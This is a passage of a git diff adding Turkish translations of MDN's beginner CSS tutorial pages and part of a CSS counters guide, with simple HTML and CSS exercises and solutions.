+</pre> + +<p>{{ EmbedLiveSample('Before') }}</p> + +<h2 id="After" name="After">Sonrası</h2> + +<h3 id="HTML_içeriği_2">HTML içeriği</h3> + +<pre class="brush: html"><p> + <strong>C</strong>ascading + <strong>S</strong>tyle + <strong>S</strong>heets +</p></pre> + +<h3 id="CSS_içeriği_2">CSS içeriği</h3> + +<pre class="brush:css" dir="rtl">p {color:blue; text-decoration:underline} +strong {color:red}</pre> + +<p>{{ EmbedLiveSample('After') }}</p> + +<p> </p> + +<div class="tuto_example"> +<div class="tuto_type">Ödev</div> +Şablonunuzu sadece kırmızı harflerin altıçizili olması için değiştirin: + +<table style="border: 2px outset #36b; padding: 1em;"> + <tbody> + <tr> + <td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets</td> + </tr> + </tbody> +</table> + +<div class="tuto_details" id="tutochallenge"> +<div class="tuto_type">Possible solution</div> + +<p>Move the declaration for underlining from the rule for {{ HTMLElement("p") }} to the one for {{ HTMLElement("strong") }}. The resulting file looks like this:</p> + +<pre class="brush: css">p {color: blue; } +strong {color: red; text-decoration: underline;} +</pre> + +<p> </p> +<a class="hideAnswer" href="#challenge">Hide solution</a></div> +<a href="#tutochallenge" title="Display a possible solution for the challenge">Ödevin çözümünü gör.</a></div> + +<p> </p> + +<h2 id="Bir_sonraki">Bir sonraki?</h2> + +<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors", "Selectors")}}Şablonunuzda <p> ve <strong> tag'leri için stil belirlerken direk olarak belgenizde bulunan tag isimlerine stiller atadık. Bir sonraki bölümde, stilleri daha <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">seçici yollar</a> ile nasıl belirtebileceğinizi öğreneceksiniz.</p> diff --git a/files/tr/web/guide/css/getting_started/css_nedir/index.html b/files/tr/web/guide/css/getting_started/css_nedir/index.html new file mode 100644 index 0000000000..ee8835416b --- /dev/null +++ b/files/tr/web/guide/css/getting_started/css_nedir/index.html @@ -0,0 +1,117 @@ +--- +title: CSS nedir? +slug: Web/Guide/CSS/Getting_started/css_nedir +tags: + - Başlangıç + - Başlarken + - CSS + - Yeni başlayanlar için + - kitapçık + - Örnek +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +<div>Css {{CSSTutorialTOC}}</div> + +<p>{{previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started", "Getting started")}} <span class="seoSummary">This first section of the <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en/CSS/Getting Started">CSS Getting Started</a> tutorial briefly explains Cascading Style Sheets (CSS). You'll also create a simple document to use for CSS exercises in subsequent sections.</span></p> + +<h2 class="clearLeft" id="Bilgi_CSS_nedir">Bilgi: CSS nedir</h2> + +<p>Cascading Style Sheets (<dfn><abbr title="Cascading Style Sheets">CSS</abbr></dfn>), belgelerin kullanıcılara nasıl sunulacağını özelleştiren bir dildir.</p> + +<p><em>Belge</em>, bir imleme(<em>markup) </em>dili kullanılarak yapılandırılmış bilgi yığınıdır.</p> + +<p>Belgenin kullanıcıya sunuluşu, ziyaretçileriniz için kullanışlı bir biçime çevrilmesi demektir. Tarayıcılar, Firefox, Chrome ya da Internet Explorer gibi, belgelerin görsel olarak sunulması için tasarlanmıştır, örneğin, bilgisayar ekranında, yansıtımda(projektör) ya da yazıcıda.</p> + +<div class="tuto_example"> +<p><strong>Örnekler</strong></p> + +<ul> + <li>Bir web sayfası okuduğunuz bir belge gibidir. Web sayfasında gördüğünüz bilgiler, genellikle bir imleme<em> </em>dili olan HTML(Hyper Text Markup Language) ile yapılandırılmıştır.</li> + <li>Bir uygulamadaki etkileşimli pencereler de aslında bir tür belgelerdir. Bu tür pencereler bir imleme diliyle (ör: XUL gibi) yapılandırılmış olabilir. Bunu bazı Mozilla uygulamalarında bulabilirsiniz. </li> +</ul> +</div> + +<p>Bu eğiticide, kutular daha fazla ayrıntıyı kapsar, yukarıda gördüğünüz daha ayrıntılı bilgi sunan kutu gibi. Onları gördüğünüzde okuyun, bağlantıları edin izleyin daha sonra okumak için atlayın.</p> + +<div class="tuto_details"> +<div class="tuto_type"><strong>Daha fazla ayrıntı</strong></div> + +<p>Bir belge, dosya ile aynı değildir. Bir belgeyi ancak bir dosyanın içerisinde saklayabilirsiniz.</p> + +<p>Şu an okuduğunuz belge bir dosyadadır. Tarayıcınız bu sayfayı çağırdığında, sunucu veritabanını sorgular ve sayfanın bölümlerini dosyalardan toplayarak belgeyi hazırlar. Aynı biçimde, bu öğreticide dosyaların içerisinde saklanan belgelerle çalışacaksınız.</p> + +<p>Bu sitenin diğer sayfalarında imleme<em> </em>dilleri hakkında bilgi bulabilirsiniz;</p> + +<table style="background-color: inherit; margin-left: 2em;"> + <tbody> + <tr> + <td><a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a></td> + <td>web sayfaları için</td> + </tr> + <tr> + <td><a href="/en-US/docs/XML" title="/en-US/docs/XML">XML</a></td> + <td>belgeleri genel olarak yapılandırma için</td> + </tr> + <tr> + <td><a href="/en-US/docs/Web/SVG" title="/en-US/docs/Web/SVG">SVG</a></td> + <td>Çizgeler için</td> + </tr> + <tr> + <td><a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a></td> + <td>Mozilla'da kullanıcı arayüzleri için</td> + </tr> + </tbody> +</table> + +<p>Bu eğiticinin ikinci bölümünde bu imleme<em> </em>dillerini göreceksiniz.</p> +</div> + +<div class="tuto_details"><strong>Daha fazla ayrıntı</strong> + +<p>Resmi CSS terimler dizgesinde, belgenin kullanıcıya sunulduğu bir program, kullanıcı aracısı (User Agent-UA) olarak isimlendirilir. Bir tarayıcı, bir çeşit kullanıcı aracısıdır. CSS yalnızca tarayıcılar için veya görünüm sunumu için değildir fakat bu eğiticinin birinci bölümünde, yalnızca tarayıcı için olan CSS ile çalışacaksınız.</p> + +<p>CSS'e ilişkin resmi terimleri için, World Wide Web Consortium (W3C) dan sağlanan CSS şartnamelerinin <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">deyişlerine</a> göz atın.W3C web için açık standartları hazırlayan uluslararası bir topluluktur.</p> +</div> + +<h2 id="Çalışma_Bir_belge_yaratmak">Çalışma: Bir belge yaratmak</h2> + +<ol> + <li>Bilgisayarınızda bir dizin oluşturun ve alıştırmalarınızı düzenleyin.</li> + <li>Yazı düzenleyicinizi açın.</li> + <li>Aşağıda gördüğünüz HTML kodlarını kopyalayıp yapıştırın. <code>belge1.html </code>adı ile kaydedin. + <pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="UTF-8"> + <title>örnek belge</title> + </head> + + <body> + <p> + <strong>C</strong>ascading + <strong>S</strong>tyle + <strong>S</strong>heets + </p> + </body> +</html></pre> + + <p>{{ LiveSampleLink('Action_Creating_a_document', 'Yukarıdaki Örneği Görüntüle') }}</p> + </li> + <li>Tarayıcınızda kaydettiğiniz belgeyi açın. + <p>Tarayıcıda, aşağıdaki gibi ilk harfleri kalın olan yazıyı göreceksiniz;</p> + + <table style="border: 2px outset #3366bb; padding: 1em;"> + <tbody> + <tr> + <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td> + </tr> + </tbody> + </table> + + <p>Eğer yukarıdakinin aynısını göremiyorsanız, bu tarayıcı ayarlarından kaynaklıdır. Yazı yüzleri, renkler ve boşluklar farklı olabilir. Bu gibi farklılıklar önemli değildir.</p> + </li> +</ol> + +<h2 id="Bir_sonraki_adım">Bir sonraki adım?</h2> + +<p>{{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS", "Why use CSS?")}}Belgenizde henüz CSS kullanmadınız. <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS">Bir sonraki bölüm</a>'de, belgenizde CSS kullanacaksınız.</p> diff --git a/files/tr/web/guide/css/getting_started/how_css_works/index.html b/files/tr/web/guide/css/getting_started/how_css_works/index.html new file mode 100644 index 0000000000..cb301d65d5 --- /dev/null +++ b/files/tr/web/guide/css/getting_started/how_css_works/index.html @@ -0,0 +1,134 @@ +--- +title: How CSS works +slug: Web/Guide/CSS/Getting_started/How_CSS_works +tags: + - Başlarken + - CSS + - Kılavuz + - Web + - Yeni başlayan + - Yeni başlayanlar +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +<p>{{ CSSTutorialTOC() }}</p> + +<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS", "Why use CSS?") }}<span class="seoSummary">This third section of the <a href="/en-US/docs/Web/Guide/CSS/Getting_started" title="en-US/docs/Web/Guide/CSS/Getting_started">CSS Getting Started</a> tutorial explains how CSS works in your browser and the purpose of the Document Object Model (DOM). You'll also learn how to analyze your sample document.</span></p> + +<h2 class="clearLeft" id="Bilgi_CSS_nasıl_çalışır">Bilgi: CSS nasıl çalışır</h2> + +<p>Bir tarayıcı bir belgeyi görüntülediğinde, belgenin içeriği ve stil bilgileri birleşir. Bu, iki adımda gerçekleşir:</p> + +<ol> + <li>Tarayıcı markup (HTML gibi) dilini ve <a href="/en-US/docs/DOM" title="/en-US/docs/HTML/DOM"><em>DOM</em></a> (Document Object Model) içerisindeki CSS'i dönüştürür. DOM bilgisayar hafızasındaki belgeyi temsil eder. Belge içeriği ile stili kombine olur.</li> + <li>Tarayıcı DOM içeriğini gösterir<em>.</em></li> +</ol> + +<p>Bir markup dili belge yapısını oluşturmak için elementleri kullanır. Elementler < > arasında belirtilir. Bir çok elementin başlama ve bitiş etiketi vardır. Başlama etiketi için, işaretlerin arasına <elementinadı>, bitiş için </elementinadı> şeklinde kullanılır.Şu şekildedir;</p> + +<p><<em>elementinismi></em></p> + +<p>Bu elementte kullanacağınız içerik bu ikisi arasında yer almalıdır.</p> + +<p><em></elementinismi></em></p> + +<p>Depending on the markup language, some elements have only a start tag, or a single tag where the '<code>/</code>' comes after the element name. An element can also be a container and include other elements between its start tag and end tag. Just remember to always close the tags inside the container.</p> + +<p>DOM ağaçsı bir yapıya sahiptir. Markup dili içerisindeki her element, öznitelik ve text, bu ağaçsı yapı içerisinde bir düğüm noktasıdır. Düğümler diğer DOM düğümleri ile ilişki içindedir. Düğümler arasına kalıtsallığa benzeyen bir durum vardır. Kimi element üsttedir (parent), kimi element ise alttadır (sibling). Bir aile ağacı gibi düşünülebilir.</p> + +<p>DOM'u anlamak size CSS'te kolaylık sağlar, çünkü DOM, CSS'inizin ve belge içeriğinizin birleştiği yerdedir.</p> + +<div class="tuto_example"> +<div class="tuto_type">Örnek</div> + +<div class="tuto_type"> </div> +Örnek belgenizde, Başlama <p> ve onun bitişi </p> kullanılmak üzerei bir alan (container) yaratır: + +<pre class="brush:html"><p> + <strong>C</strong>ascading + <strong>S</strong>tyle + <strong>S</strong>heets +</p> +</pre> + +<p> </p> + +<p>{{ EmbedLiveSample('Information.3A_How_CSS_works', '', '', '', 'Web/Guide/CSS/Getting_started/How_CSS_works') }}</p> + +<p>DOM'da, aşağıda, P'ye karşılık gelen düğüm bir ebeveyndir. Onun çocukları ise STRONG düğümleri ve text düğümleridir.STRONG düğümü ise, örnekte gördüğünüz kırmızı harflerin ebeveynidir. Kırmızı harfler kardeştir.Aşağıda bu yapı gösterilmiştir;</p> + +<pre><span style="color: black;">P</span> +├─<span style="color: black;">STRONG</span> +│ └─"<span style="color: black;">C</span>" +├─"<span style="color: black;">ascading</span>" +├─<span style="color: black;">STRONG</span> +│ └─"<span style="color: black;">S</span>" +├─"<span style="color: black;">tyle</span>" +├─<span style="color: black;">STRONG</span> +│ └─"<span style="color: black;">S</span>" +└─"<span style="color: black;">heets</span>"</pre> +</div> + +<h2 id="Çalışma_DOM'u_incelemek">Çalışma: DOM'u incelemek</h2> + +<h3 id="DOM_denetçisi">DOM denetçisi</h3> + +<p>DOM'u incelemek için, özel bir yazılıma ihtiyacınız var. Mozilla'nın <a href="/en/DOM_Inspector" title="en/DOM_Inspector">DOM Inspector</a> (DOMi) eklentisini kullanabilirsiniz. Eklenti ufak bir kurulum gerektirir. Aşağıda detaylıdır;</p> + +<ol> + <li>Örnek belgenizi Mozilla tarayıcısını kullanarak açın.</li> + <li>Tarayıcınızın menü kısmından, <strong>Araçlar > DOM Denetçisi</strong>, ya da <strong>Araçlar > Web Geliştirme > DOM Denetçisi</strong>. + <div class="tuto_details"> + <div class="tuto_type">Daha fazla detay</div> + + <p>Mozilla'nızda DOMi yoksa <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622/" title="https://addons.mozilla.org/en-US/firefox/addon/6622/">eklentiler sitesinden yükleyin</a> ve bu öğreticiye geri dönün.</p> + + <p>DOMi yüklemek istemiyorsanız veya Mozilla'dan farklı bir tarayıcı kullanıyorsanız..............</p> + </div> + </li> + <li>In DOMi, expand your document's nodes by clicking on their arrows. + <p><strong>Note: </strong> Spacing in your HTML file may cause DOMi to show some empty text nodes, which you can ignore.</p> + + <p>Part of the result might look like this, depending on which nodes you have expanded:</p> + + <pre>│ ▼╴<span style="color: black;">P</span> +│ │ │ ▼╴<span style="color: black;">STRONG</span> +│ │ └<span style="color: darkblue;">#text</span> +│ ├╴<span style="color: darkblue;">#text</span> +│ ►╴<span style="color: black;">STRONG</span> +│ │</pre> + + <p>When you select any node, you can use DOMi's right-hand pane to find out more about it. For example, when you select a text node, DOMi shows you the text in the right-hand pane.</p> + + <p>When you select an element node, DOMi analyzes it and provides a huge amount of information in its right-hand pane. Style information is just part of the information it provides.</p> + </li> +</ol> + +<div class="tuto_example"> +<div class="tuto_type">Challenge</div> + +<p>In DOMi, click on a <small>STRONG</small> node.</p> + +<p>Use DOMi's right-hand pane to find out where the node's color is set to red, and where its appearance is made bolder than normal text.</p> + +<div class="tuto_details" id="tutochallenge"> +<div class="tuto_type">Possible solution</div> + +<p>In the menu above the right-hand pane, choose <strong>CSS Rules</strong>. You see two items listed, one that references an internal resource and one that references your stylesheet file. The internal resource defines the <strong>font-weight</strong> property as <code>bolder</code>; your stylesheet defines the <strong>color</strong> property as <code>red</code>.</p> +<a class="hideAnswer" href="#challenge">Hide solution</a></div> +<a href="#tutochallenge" title="Display a possible solution for the challenge">See a solution for the challenge.</a></div> + +<h3 id="Using_Web_X-Ray_Goggles">Using Web X-Ray Goggles</h3> + +<p><a class="link-https" href="https://goggles.webmaker.org/" title="https://secure.toolness.com/webxray/">Web X-Ray Goggles </a>shows less information than DOM Inspector, but is simpler to install and use.</p> + +<ol> + <li>Go to the home page for <a class="link-https" href="https://goggles.webmaker.org/" title="https://secure.toolness.com/webxray/">Web X-Ray Goggles</a>.</li> + <li>Drag the bookmarklet link in that page to your browser toolbar.</li> + <li>Open your sample HTML document.</li> + <li>Activate Web X-Ray Goggles by clicking the bookmarklet on the toolbar.</li> + <li>Move your mouse pointer around over your document to see the elements in the document.</li> +</ol> + +<h2 id="Sonra">Sonra?</h2> + +<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance", "Cascading & Inheritance") }}If you took the challenge, you saw that style information from more than one place interacts to create the final style for an element. The <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance">next page</a> explains more about these interactions.</p> diff --git a/files/tr/web/guide/css/getting_started/index.html b/files/tr/web/guide/css/getting_started/index.html new file mode 100644 index 0000000000..b8b8239171 --- /dev/null +++ b/files/tr/web/guide/css/getting_started/index.html @@ -0,0 +1,52 @@ +--- +title: CSS'e başlarken +slug: Web/Guide/CSS/Getting_started +tags: + - CSS + - 'CSS:Başlarken' + - Kitap + - Kılavuz + - Rehber + - Temel CSS Eğitimi + - Web + - Yeni başlayan + - Yeni başlayanlar +translation_of: Learn/CSS/First_steps +--- +<p><span class="seoSummary">Bu eğitimde <a href="/tr/docs/Web/Guide/CSS">Cascading Style Sheets</a> (CSS) 'in söz dizimi ve dilin ana özellikleri ile tanışacaksınız. CSS kullanılarak, tıpkı bir web sayfası gibi, bir belgenin görünümü değiştirilebilir. Bu eğitici size kendi bilgisayarınızda deneyebileceğiniz ve CSS'in günümüz tarayıcılarındaki özellik ve etkilerini görebileceğiniz örnekler sunacaktır.</span></p> + +<p>Bu eğitici CSS'e yeni başlayanlar için bir kılavuz niteliğindedir. Eğer daha fazla deneyiminiz varsa, CSS <a href="/tr/docs/Web/Guide/CSS">anasayfasında </a>daha kapsamlı kaynaklar mevcuttur.</p> + +<nav class="fancyTOC"><a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/What_is_CSS" rel="next" title="Chapter 'What is CSS' of the CSS tutorial">CSS Nedir?</a> <a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS" title="Chapter 'Why use CSS' of the CSS tutorial">CSS'in Kullanım Amaçları</a><a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/How_CSS_works" title="Chapter 'How CSS works' of the CSS tutorial">CSS Çalışma Mantığı</a> <a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance" title="Chapter 'Cascading and inheritance' of the CSS tutorial">Basamaklama ve Kalıtım</a> <a class="button" href="/tr/docs/Web/Guide/CSS/Getting_Started/Selectors" title="Chapter 'Selectors' of the CSS tutorial">Seçiciler</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="Chapter 'Readable_CSS' of the CSS tutorial">Kod Okunulabilirliği</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles" title="Chapter 'Text_styles' of the CSS tutorial">Yazı Biçemleri</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Color" title="Chapter 'Color' of the CSS tutorial">Renkler</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Content" title="Chapter 'Content' of the CSS tutorial">İçerik</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Lists" title="Chapter 'Lists' of the CSS tutorial">Dizelgeler</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Boxes" title="Chapter 'Boxes' of the CSS tutorial">Kutular</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Layout" title="Chapter 'Layout' of the CSS tutorial">Belge Kalıbı</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Tables" title="Chapter 'Tables' of the CSS tutorial">Tablo Yapısı</a> <a class="button" href="/en-US/docs/Web/Guide/CSS/Getting_Started/Media" title="Chapter 'Media' of the CSS tutorial">Ortam</a></nav> + +<h2 id="Başlarken_neler_gerekli">Başlarken neler gerekli?</h2> + +<ul> + <li>Bir yazı düzenleyici</li> + <li>Günümüz tarayıcılarından biri</li> + <li>Düzenleyici ve tarayıcının kullanımı için birazcık deneyim</li> +</ul> + +<p>Alıştırmalar öğrenmenize yardımcı olmak içindir ancak bütünüyle bir gereksinim değil. Öğrenmek için yalnızca okuyabilir ve görsellere bakabilirsiniz.</p> + +<h2 id="Eğitici_nasıl_kullanılır">Eğitici nasıl kullanılır</h2> + +<p>Bu eğiticiyi kullanmak için, sayfaları <strong>dikkatlice</strong> ve <strong>sırasıyla</strong> okuyun. Eğer bir sayfayı atlarsanız, sonraki sayfaları anlamanız zorlaşabilir.</p> + +<h3 id="Bölüm_I_CSS'in_Temelleri">Bölüm I: CSS'in Temelleri</h3> + +<p>CSS'in nasıl çalıştığını kavrayabilmek için <em>bilgi </em>bölümünü kullanın. CSS'i kendi bilgisayarınızda kullanmayı denemek için <em>çalışma </em>bölümünü deneyin.</p> + +<p>Anladığınızı sınamak için, her sayfanın sonundaki alıştırmayı yapın. Alıştırmaların çözümleri, alıştırmanın altındaki bağlantıdadır, gerek gördükçe bakabilirsiniz.</p> + +<h3 id="Bölüm_II_CSS'in_Kapsamı">Bölüm II: CSS'in Kapsamı</h3> + +<p>Eğiticinin ikinci bölümü, CSS'in diğer web bileşenleriyle ve Mozilla teknolojileriyle olan kapsamını gösterir. Örnekler sağlar.</p> + +<ol> + <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/JavaScript" title="en/CSS/Getting_Started/JavaScript">JavaScript</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/SVG_and_CSS" title="en/CSS/Getting_Started/SVG_graphics">SVG çizgeleri</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/XML_data" title="en/CSS/Getting_Started/XML_data">XML veri</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/XBL_bindings" title="en/CSS/Getting_Started/XBL_bindings">XBL bağlamaları</a></li> + <li><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/XUL_user_interfaces" title="en/CSS/Getting_Started/XUL_user_interfaces">XUL kullanıcı arayüzleri</a></li> +</ol> diff --git a/files/tr/web/guide/css/getting_started/why_use_css/index.html b/files/tr/web/guide/css/getting_started/why_use_css/index.html new file mode 100644 index 0000000000..d7ae66775d --- /dev/null +++ b/files/tr/web/guide/css/getting_started/why_use_css/index.html @@ -0,0 +1,112 @@ +--- +title: Neden CSS Kullanılır +slug: Web/Guide/CSS/Getting_started/Why_use_CSS +tags: + - CSS + - 'CSS:Başlarken' + - Kılavuz + - Web + - Yeni başlayan + - Yeni başlayanlar + - Örnek +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +<p><span style="line-height: 1.5;">{{ CSSTutorialTOC() }}</span></p> + +<p>{{ previousPage("/tr/docs/Web/Guide/CSS/Getting_Started/CSS_Nedir", "CSS Nedir?") }}<span class="seoSummary"><a href="/en-US/docs/Web/Guide/CSS/Getting_started" title="en-US/docs/Web/Guide/CSS/Getting_started">CSS Başlangıç</a> yönergesindeki bu bölüm CSS ve HTML belgeleri arasındaki ilişkiyi anlatır. İlk bölümde yarattığınız belgeye biçim eklemeyi, alıştırmayla öğreneceksiniz.</span></p> + +<h2 class="clearLeft" id="Bilgi_Neden_CSS_kullanılır">Bilgi: Neden CSS kullanılır?</h2> + +<p>Belgenizin tasarım, yerleşim ve görünüm ile ilgili çeşitlerini içeren biçim öğelerini, farklı ekran boyutlarında ve farklı aygıtlarda tanımlamak için CSS kullanılır. CSS kodlarınızı<code> <head></code> içerisine gömebilirsiniz (gömülü iç CSS) veya biçimlerinizi tanımlayan bir biçim sayfasını farklı bir dizine ekleyip çağırabilirsiniz (dış CSS). Farklı bir belgede bulunan biçim kurallarını belgenize eklemek için, <code><head></code> ögesi içerisine bağlantı vermeniz gerekir.</p> + +<p>Dış biçim sayfalasının bir çok üstünlüğü vardır. Biçim sayfalarınızı HTML içeriğinizden farklı bir belgede saklamak:</p> + +<ul> + <li>Tekrarlanan kodların önlenmesine yardım eder.</li> + <li>Kolay onarım yapılmasını sağlar.</li> + <li>Tek bir yerden bütün biçimlerinizi denetlemenizi sağlar.</li> +</ul> + +<div class="tuto_example"> +<div class="tuto_type">Örnek</div> + +<p>h2 ögesi için oluşturduğunuz biçim kuralı ile, tanımladığınız bütün h2 ögerlerini tek bir yerden denetleyebilirsiniz.</p> + +<p>Kullanıcı bir ağ sayfasını görüntülediğinde, sayfanın içeriğiyle birllikte tanımlanmış biçim kuralları yüklenir.</p> + +<p>Kullanıcı bir ağ sayfasını yazdırdığında, tanımladığınız özel biçim kuralları ile sayfanın okunabilirliğini artırabilirsiniz.</p> +</div> + +<p>CSS ve HTML nasıl birlikte çalışır? Genel olarak, HTML'yi belgenizin içeriğini belirlemek için kullanırsınız, biçim kuralları için CSS vardır. Bu öğreticiden sonra, bu düzenlemelerin nasıl yapıldığını göreceksiniz.</p> + +<div class="tuto_details"> +<div class="tuto_type">Daha fazla ayrıntı</div> + +<p>HTML gibi bir imleme dili biçim tanımlamak için bir kaç yol sağlar.</p> + +<p>Örneğin, HTML içerisinde <code><b></code> ögesini, yazıyı kalınlaştırmak için kullanabilirsiniz ve ardalan rengini <code><body></code> ögesi içerisinde tanımlayabilirsiniz.</p> + +<p>CSS ile bu özellikleri kullanamazsınız fakat bunlara gerek de kalmaz. Kullanmanız gereken bütün kodları tek bir yerde kullanabilirsiniz.</p> +</div> + +<h2 id="Çalışma_Bir_kalıp_hazırlamak">Çalışma: Bir kalıp hazırlamak</h2> + +<ol> + <li>Birinci bölümde eklediğiniz <code>belge1.html</code> ile aynı dizine bir belge daha ekleyin.</li> + <li>Eklediğiniz belgeyi <code>bicim1.css</code> olarak adlandırın. Bu sizin biçim belgeniz olacak.</li> + <li>CSS belgesi içerisine aşağıdaki satırı ekleyip kaydedin:</li> + <li> + <pre class="brush: css">strong {color: red;} +</pre> + </li> +</ol> + +<h3 id="Biçim_belgesi_ile_bağlantılamak">Biçim belgesi ile bağlantılamak</h3> + +<ol> + <li>Biçim belgeniz ile HTML'inizi ilişkilendirmek için, HTML belgesini düzenleyin. Aşağıdaki işaretli satırı ekleyin: + <pre class="brush: html; highlight:[6];"><!DOCTYPE html> +<html> + <head> + <meta charset="UTF-8"> + <title>örnek belge</title> + <link rel="stylesheet" href="bicim1.css"> + </head> + <body> + <p> + <strong>C</strong>ascading + <strong>S</strong>tyle + <strong>S</strong>heets + </p> + </body> +</html> +</pre> + </li> + <li>Kaydedin ve HTML'yi tarayıcınızda açın, açıksa yenileyin. İlk harfler kırmızı olacaktır: + <table style="border: 2px outset #3366bb; padding: 1em;"> + <tbody> + <tr> + <td><span style="color: red;"><strong>C</strong></span>ascading <span style="color: red;"><strong>S</strong></span>tyle <span style="color: red;"><strong>S</strong></span>heets</td> + </tr> + </tbody> + </table> + </li> +</ol> + +<div class="tuto_example" id="challenge"> +<div class="tuto_type">Alıştırma</div> + +<p>CSS bazı renkler için rengin ingilizcesine izin verir.</p> + +<div class="tuto_details" id="tutochallenge"> +<div class="tuto_type">Possible solution</div> + +<p>CSS supports common color names like <code>orange</code>, <code>yellow</code>, <code>blue</code>, <code>green</code>, or <code>black</code>. It also supports some more exotic color names like <code>chartreuse</code>, <code>fuschia</code>, or <code>burlywood</code>. See <a href="/en-US/docs/CSS/color_value" title="The CSS color data type">CSS Color value</a> for a complete list as well as other ways of specifying colors.</p> +<a class="hideAnswer" href="#challenge">Hide solution</a></div> +<a href="#tutochallenge" title="Display a possible solution for the challenge">Alıştırmanın yanıtını görün.</a></div> + +<h2 id="Sıradaki">Sıradaki</h2> + +<p>{{nextPage("/en-US/docs/Web/Guide/CSS/Getting_started/How_CSS_works", "CSS Nasıl Çalışır.")}} Artık bir HTML belgesine bağlı bir biçim belgeniz var.</p> + +<p>Şimdi tarayıcınızın, sayfayı oluştururken bunları nasıl birleştirdiğini <a href="/en-US/docs/Web/Guide/CSS/Getting_started/How_CSS_works" title="/en-US/docs/Web/Guide/CSS/Getting_started/How_CSS_works">öğrenebilirsiniz</a>.</p> diff --git a/files/tr/web/guide/css/sayaçlar/index.html b/files/tr/web/guide/css/sayaçlar/index.html new file mode 100644 index 0000000000..d31a159a27 --- /dev/null +++ b/files/tr/web/guide/css/sayaçlar/index.html @@ -0,0 +1,102 @@ +--- +title: CSS Sayaçlarını Kullanmak +slug: Web/Guide/CSS/Sayaçlar +tags: + - CSS + - CSS Counter + - CSS Sayaçlar + - MDN + - Sayaçlar +translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +<p>{{CSSRef}}</p> +<p><span class="seoSummary">CSS counters are, in essence, variables maintained by CSS whose values may be incremented by CSS rules to track how many times they're used. This lets you adjust the appearance of content based on its placement in the document.</span> CSS counters are an implementation of <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatic counters and numbering</a> in CSS 2.1.</p> +<p>The value of a counter is manipulated through the use of {{cssxref("counter-reset")}} and {{cssxref("counter-increment")}} can be displayed on a page using the <code>counter()</code> or <code>counters()</code> function of the <code><a href="/en-US/docs/CSS/content" title="CSS/content">content</a></code> property.</p> +<h2 id="Using_counters" name="Using_counters">Sayaçları kullanmak</h2> +<p>To use a CSS counter, it must first be reset to a value, 0 by default. To add the value of a counter to an element, use the counter() function. The following CSS adds to the beginning of each h3 element "Section <the value of the counter>:".</p> +<pre class="brush: css">body { + counter-reset: bolum; /* bolum adlı sayacın değerini 0 olarak ayarla */ +} +h3:before { + counter-increment: bolum; /* bolum adlı sayacı arttır */ + content: "Bölüm" counter(bolum) ": "; /* Sayacı görüntüle */ +} +</pre> +<p>Örnek:</p> +<pre class="brush: html"><h3>Giriş</h3> +<h3>Gövde</h3> +<h3>Sonuç</h3></pre> +<p>{{ EmbedLiveSample('Using_counters', 300,200) }}</p> +<h2 id="Nesting_counters" name="Nesting_counters">Nesting counters</h2> +<p>A CSS counter can be especially useful to make outlined lists because a new instance of a CSS counter is automatically created in child elements. Using the <code>counters()</code> function, a string can be inserted between different levels of nested counters. For example this CSS:</p> +<pre class="brush: css">ol { + counter-reset: section; /* Creates a new instance of the + section counter with each ol + element */ + list-style-type: none; +} +li:before { + counter-increment: section; /* Increments only this instance + of the section counter */ + content: counters(section,".") " "; /* Adds the value of all instances + of the section counter separated + by a ".". */ + /* if you need to support < IE8 then + make sure there is no space after + the ',' +} +</pre> +<p>Combined with the following HTML:</p> +<pre class="brush: html"><ol> + <li>item</li> <!-- 1 --> + <li>item <!-- 2 --> + <ol> + <li>item</li> <!-- 2.1 --> + <li>item</li> <!-- 2.2 --> + <li>item <!-- 2.3 --> + <ol> + <li>item</li> <!-- 2.3.1 --> + <li>item</li> <!-- 2.3.2 --> + </ol> + <ol> + <li>item</li> <!-- 2.3.1 --> + <li>item</li> <!-- 2.3.2 --> + <li>item</li> <!-- 